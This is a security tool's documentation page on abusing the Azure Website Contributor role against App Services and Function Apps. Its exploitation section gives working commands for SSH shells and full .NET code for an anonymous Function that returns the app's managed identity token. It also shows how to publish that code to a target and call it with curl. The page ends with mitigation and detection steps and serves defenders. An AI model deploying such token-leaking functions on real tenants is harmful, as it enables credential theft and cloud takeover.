Skip to content

AZ_WEBSITE_CONTRIBUTOR

Copy page

Summary

Forestall ACL Alias AZ_WEBSITE_CONTRIBUTOR
Azure Alias Website Contributor (Azure RBAC)
Affected Object Types App Services, Function Apps, Static Web Apps
Exploitation Certainty Certain
Azure RBAC Roles Website Contributor (de139f84-1756-47ae-9be6-808fbbe84772}

Custom Role Actions:

  • Microsoft.Web/sites/*

Description

AZ_WEBSITE_CONTRIBUTOR represents the Azure RBAC Website Contributor role assignment. This role grants full control over Azure App Services and Function Apps, enabling:

  • Deploy code - publish arbitrary code that executes under the app identity.
  • Access publishing credentials - retrieve FTP/FTPS credentials and deployment tokens.
  • Modify app settings - access environment variables containing secrets.
  • List host keys - retrieve Function App keys for direct invocation.
  • Execute commands - SSH as root (Linux) or run commands via Kudu API.

This role includes Microsoft.Web/sites/publish/Action which enables command execution. See AZ_EXECUTE_COMMAND for detailed exploitation methods.

App Services and Function Apps commonly have:

  • Managed identities with access to Key Vaults, databases, and other resources.
  • Connection strings containing database credentials.
  • API keys and secrets in application settings.
  • Network access to internal resources via VNet integration.

Identification

PowerShell (Az Module)

Connect-AzAccount
# List Website Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Website Contributor" |
Select-Object DisplayName, SignInName, ObjectType, Scope |
Format-Table -AutoSize
# List all Web Apps
Get-AzWebApp | Select-Object Name, ResourceGroup, DefaultHostName, State
# List all Function Apps
Get-AzFunctionApp | Select-Object Name, ResourceGroup, DefaultHostName, State
# Check a web app managed identity
$app = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<AppName>"
$app.Identity

Exploitation

This role grants Microsoft.Web/sites/publish/Action which enables command execution on App Services.

See AZ_EXECUTE_COMMAND for web-based exploitation methods.

SSH via Azure CLI (Linux App Services)

The CLI SSH commands require Website Contributor (or equivalent) role, not just publish/Action.

Azure CLI - Interactive shell

az webapp ssh --name "<AppName>" --resource-group "<RGName>"
ssh to a web app

ssh to a web app

Azure CLI - SSH to Function App (Premium/Dedicated plans only)

Note: SSH is only available on Linux Function Apps running on Premium or Dedicated (App Service) plans. Consumption plan Function Apps do not support SSH.

az webapp ssh --name "<FunctionAppName>" --resource-group "<RGName>"
SSH to a Function App

SSH to a Function App

Function App HTTP Trigger (.NET)

Deploy a .NET isolated Azure Function that uses Azure.Identity to request managed identity tokens.

Requirements:

  • .NET SDK 10.0+ installed
  • Azure Functions Core Tools (npm install -g azure-functions-core-tools@4)
  • Azure CLI authenticated with Website Contributor role
  • Target Function App running on .NET isolated worker

Step 1: Install .NET Function templates

dotnet new install Microsoft.Azure.Functions.Worker.ProjectTemplates
dotnet new install Microsoft.Azure.Functions.Worker.ItemTemplates

Step 2: Create and initialize the function project

mkdir mi-dotnet-func
cd mi-dotnet-func
func init --worker-runtime dotnet-isolated
func new --name GetMIToken --template "HTTP trigger" --authlevel "anonymous"

Step 3: Add Azure.Identity package

dotnet add package Azure.Identity

Install dependencies and create a .NET isolated Function App Step 4: Replace GetMIToken.cs with token acquisition code

For system-assigned managed identity (no client ID required):

using Microsoft.Azure.Functions.Worker;
using Microsoft.Extensions.Logging;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Azure.Core;
using Azure.Identity;
namespace mi_dotnet_func;
public class GetMIToken
{
private readonly ILogger<GetMIToken> _logger;
public GetMIToken(ILogger<GetMIToken> logger)
{
_logger = logger;
}
[Function("GetMIToken")]
public async Task<IActionResult> Run([HttpTrigger(AuthorizationLevel.Anonymous, "get", "post")] HttpRequest req)
{
string scope = "https://management.azure.com/.default";
// System-assigned managed identity - no client ID needed
//var credential = new ManagedIdentityCredential();
string clientId = "a22986ea-7ae9-430f-af09-62ed5026b9db";
var credential = new ManagedIdentityCredential(clientId);
AccessToken token = await credential.GetTokenAsync(
new TokenRequestContext(new[] { scope })
);
return new OkObjectResult(new
{
Message = "Managed Identity token acquired successfully",
AccessToken = token.Token,
Scope = scope,
ExpiresOn = token.ExpiresOn
});
}
}

Step 5: Deploy to target Function App

func azure functionapp publish <FunctionAppName>
Build and publish the Function App

Build and publish the Function App

Step 6: Invoke the function to get the token

curl "https://<FunctionAppName>.azurewebsites.net/api/GetMIToken"
get the managed identity token

get the managed identity token

Enumerating User-Assigned Managed Identity Client IDs

If the Function App uses a user-assigned managed identity, you must first enumerate the client ID before requesting tokens.

Azure CLI:

# List user-assigned identities on a Function App
az functionapp identity show \
--name "<FunctionAppName>" \
--resource-group "<RGName>" \
--query "userAssignedIdentities"
# List all user-assigned managed identities in a resource group
az identity list \
--resource-group "<RGName>" \
--query "[].{Name:name, ClientId:clientId, PrincipalId:principalId}" \
--output table

PowerShell (Az Module):

# Get Function App identity configuration
$app = Get-AzFunctionApp -ResourceGroupName "<RGName>" -Name "<FunctionAppName>"
$app.Identity.UserAssignedIdentities
# List all user-assigned managed identities in a resource group
Get-AzUserAssignedIdentity -ResourceGroupName "<RGName>" |
Select-Object Name, ClientId, PrincipalId |
Format-Table -AutoSize

Output example:

Name ClientId PrincipalId
my-func-identity a22986ea-7ae9-430f-af09-62ed5026b9db 8f3b1c2d-…

Use the ClientId value when constructing the ManagedIdentityCredential:

var credential = new ManagedIdentityCredential("a22986ea-7ae9-430f-af09-62ed5026b9db");

Mitigation

  1. Minimize Website Contributor assignments

    • Use Website Reader for read-only access.
    • Scope assignments to specific apps.
  2. Apply least privilege to managed identities

    • App managed identities should have minimal required permissions.
  3. Secure app settings

    • Use Key Vault references instead of storing secrets in app settings.
  4. Enable diagnostic logging

    • Send App Service logs to Log Analytics.

Detection

Use the Azure Portal:

  1. Open Azure Portal -> App Services -> select the target app.
  2. Open Activity log and filter Operation for Publish Web App, List Publishing Credentials, and Update Config.
  3. Review Event initiated by, Timestamp, Resource, Status, and Change history for unexpected publishing or configuration changes.
  4. Open Deployment Center and review deployment history and source.
  5. Open Diagnose and solve problems to review app service activity from the portal.

References

Was this page helpful?

Thank you for your feedback.